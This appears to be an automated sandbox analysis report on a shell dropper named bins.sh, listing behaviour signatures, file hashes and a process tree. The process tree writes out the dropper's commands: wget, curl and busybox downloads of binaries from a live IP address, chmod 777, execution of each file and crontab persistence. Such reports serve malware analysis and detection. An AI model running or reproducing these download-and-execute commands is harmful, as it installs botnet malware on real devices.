Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    26/11/2024, 12:23

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    fc41e96c416e7e08c67b3b8a90dc5281

  • SHA1

    2e32b0e3f9f7b76565855b1b51caefe1b5baa43f

  • SHA256

    ad854bdbc344eddc4f97eb6ac8e45f35db706a8341b459c89579ca05515c23c6

  • SHA512

    593594493042937480a0f6493a50e4eb6b6b307fd8fff7d371d1ad001146e5c771aed934cffb0693193e1bc35c691c926fd4d42edb4a3d4fccdd274ad1c0ee77

  • SSDEEP

    192:1x9NM03//ciijgqZ/XlZ/Xlii/ox9NM0t:1x9NM03//ciijgYriiQx9NM0t

Malware Config

Signatures

  • Contacts a large (1781) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 17 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:722
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:725
        • /usr/bin/wget
          wget http://216.126.231.240/bins/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • Writes file to tmp directory
          PID:727
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • Writes file to tmp directory
          PID:751
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • Writes file to tmp directory
          PID:752
        • /bin/chmod
          chmod 777 AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • File and Directory Permissions Modification
          PID:753
        • /tmp/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          ./AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • Executes dropped EXE
          PID:754
        • /bin/rm
          rm AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
            PID:756
          • /usr/bin/wget
            wget http://216.126.231.240/bins/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
            • Writes file to tmp directory
            PID:757
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
            • Writes file to tmp directory
            PID:761
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
            • Writes file to tmp directory
            PID:777
          • /bin/chmod
            chmod 777 dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
            • File and Directory Permissions Modification
            PID:784
          • /tmp/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            ./dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
            • Executes dropped EXE
            PID:786
          • /bin/rm
            rm dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
              PID:789
            • /usr/bin/wget
              wget http://216.126.231.240/bins/dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
              2⤵
              • Writes file to tmp directory
              PID:790
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
              2⤵
              • Writes file to tmp directory
              PID:805
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
              2⤵
              • Writes file to tmp directory
              PID:811
            • /bin/chmod
              chmod 777 dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
              2⤵
              • File and Directory Permissions Modification
              PID:812
            • /tmp/dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
              ./dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
              2⤵
              • Executes dropped EXE
              PID:813
            • /bin/rm
              rm dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
              2⤵
                PID:815
              • /usr/bin/wget
                wget http://216.126.231.240/bins/3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                2⤵
                • Writes file to tmp directory
                PID:816
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:817
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                2⤵
                • Writes file to tmp directory
                PID:818
              • /bin/chmod
                chmod 777 3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                2⤵
                • File and Directory Permissions Modification
                PID:819
              • /tmp/3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                ./3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                2⤵
                • Executes dropped EXE
                PID:820
              • /bin/rm
                rm 3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                2⤵
                  PID:822
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g
                  2⤵
                  • Writes file to tmp directory
                  PID:823
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g
                  2⤵
                  • Writes file to tmp directory
                  PID:836
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g
                  2⤵
                  • Writes file to tmp directory
                  PID:848
                • /bin/chmod
                  chmod 777 RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g
                  2⤵
                  • File and Directory Permissions Modification
                  PID:856
                • /tmp/RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g
                  ./RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:857
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:859
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:860
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:861
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:862
                      • /bin/rm
                        rm RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g
                        2⤵
                          PID:864
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/r0JnMt1HbftKEeb2D72tsuEh74DLZbLvNl
                          2⤵
                            PID:867
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/r0JnMt1HbftKEeb2D72tsuEh74DLZbLvNl
                            2⤵
                              PID:868
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/r0JnMt1HbftKEeb2D72tsuEh74DLZbLvNl
                              2⤵
                              • Writes file to tmp directory
                              PID:869
                            • /bin/chmod
                              chmod 777 r0JnMt1HbftKEeb2D72tsuEh74DLZbLvNl
                              2⤵
                              • File and Directory Permissions Modification
                              PID:950
                            • /tmp/r0JnMt1HbftKEeb2D72tsuEh74DLZbLvNl
                              ./r0JnMt1HbftKEeb2D72tsuEh74DLZbLvNl
                              2⤵
                              • Executes dropped EXE
                              PID:954
                            • /bin/rm
                              rm r0JnMt1HbftKEeb2D72tsuEh74DLZbLvNl
                              2⤵
                                PID:956
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/ptijRw14Caed3vUICtkB0em8R50rkMJsVr
                                2⤵
                                  PID:957
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/ptijRw14Caed3vUICtkB0em8R50rkMJsVr
                                  2⤵
                                    PID:958
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/ptijRw14Caed3vUICtkB0em8R50rkMJsVr
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:959
                                  • /bin/chmod
                                    chmod 777 ptijRw14Caed3vUICtkB0em8R50rkMJsVr
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:960
                                  • /tmp/ptijRw14Caed3vUICtkB0em8R50rkMJsVr
                                    ./ptijRw14Caed3vUICtkB0em8R50rkMJsVr
                                    2⤵
                                    • Executes dropped EXE
                                    PID:961
                                  • /bin/rm
                                    rm ptijRw14Caed3vUICtkB0em8R50rkMJsVr
                                    2⤵
                                      PID:963
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/W6bhHyDxiA3RNZ7pksbGpsK1B5L2OMpuEc
                                      2⤵
                                        PID:964

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • /tmp/3YGaELkx3gpLTglmN1gtTyntokbgCikOqG

                                      Filesize

                                      117KB

                                      MD5

                                      849fa04ef88a8e8de32cb2e8538de5fe

                                      SHA1

                                      c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                      SHA256

                                      8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                      SHA512

                                      2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                    • /tmp/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04

                                      Filesize

                                      99KB

                                      MD5

                                      9438d9bc392bcf300a5583b6df5bc8f6

                                      SHA1

                                      375a6ae34b516f6f3eeea8030c4084f585017efa

                                      SHA256

                                      68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                      SHA512

                                      1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                    • /tmp/RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g

                                      Filesize

                                      151KB

                                      MD5

                                      3c90d5820bddcf7c5d1bd21dfa49d958

                                      SHA1

                                      5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                      SHA256

                                      bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                      SHA512

                                      54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                    • /tmp/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET

                                      Filesize

                                      127KB

                                      MD5

                                      89077b7bd4bcafca7713be43635c4862

                                      SHA1

                                      fc02edb8fba29ea8ee99e6157ef8560334530052

                                      SHA256

                                      78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                      SHA512

                                      1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                    • /tmp/dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx

                                      Filesize

                                      111KB

                                      MD5

                                      ca897a38f23ec23521ce0b1b83f8422d

                                      SHA1

                                      b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                      SHA256

                                      043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                      SHA512

                                      10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                    • /tmp/ptijRw14Caed3vUICtkB0em8R50rkMJsVr

                                      Filesize

                                      107KB

                                      MD5

                                      eb9c3a0de91fcf16ba17cb24608df68c

                                      SHA1

                                      09d95a7d70d5e115d103be51edff7c498d272fac

                                      SHA256

                                      dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                      SHA512

                                      9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                    • /tmp/r0JnMt1HbftKEeb2D72tsuEh74DLZbLvNl

                                      Filesize

                                      151KB

                                      MD5

                                      6c583043d91c55aa470c08c87058e917

                                      SHA1

                                      abf65a5b9bba69980278ad09356e53de8bb89439

                                      SHA256

                                      2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                      SHA512

                                      82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                    • /var/spool/cron/crontabs/tmp.Ne0Ae2

                                      Filesize

                                      210B

                                      MD5

                                      1fcbb080b8fc73a7ea12619684bf2428

                                      SHA1

                                      de2a0733b39ec06729cccc8bad9addcfecaabd3f

                                      SHA256

                                      f14fabd7cad22737cb8df2a781836516c4e5cdb72d8bd32150c20deb99267bab

                                      SHA512

                                      0cbcd9834e868954800825b90740d93661b7de46620d465ec73eecbc3090bd5198fcbf375d4ea12315b56b6203665dc04e43ffc50f6a6f2d889d31dcb28db9ae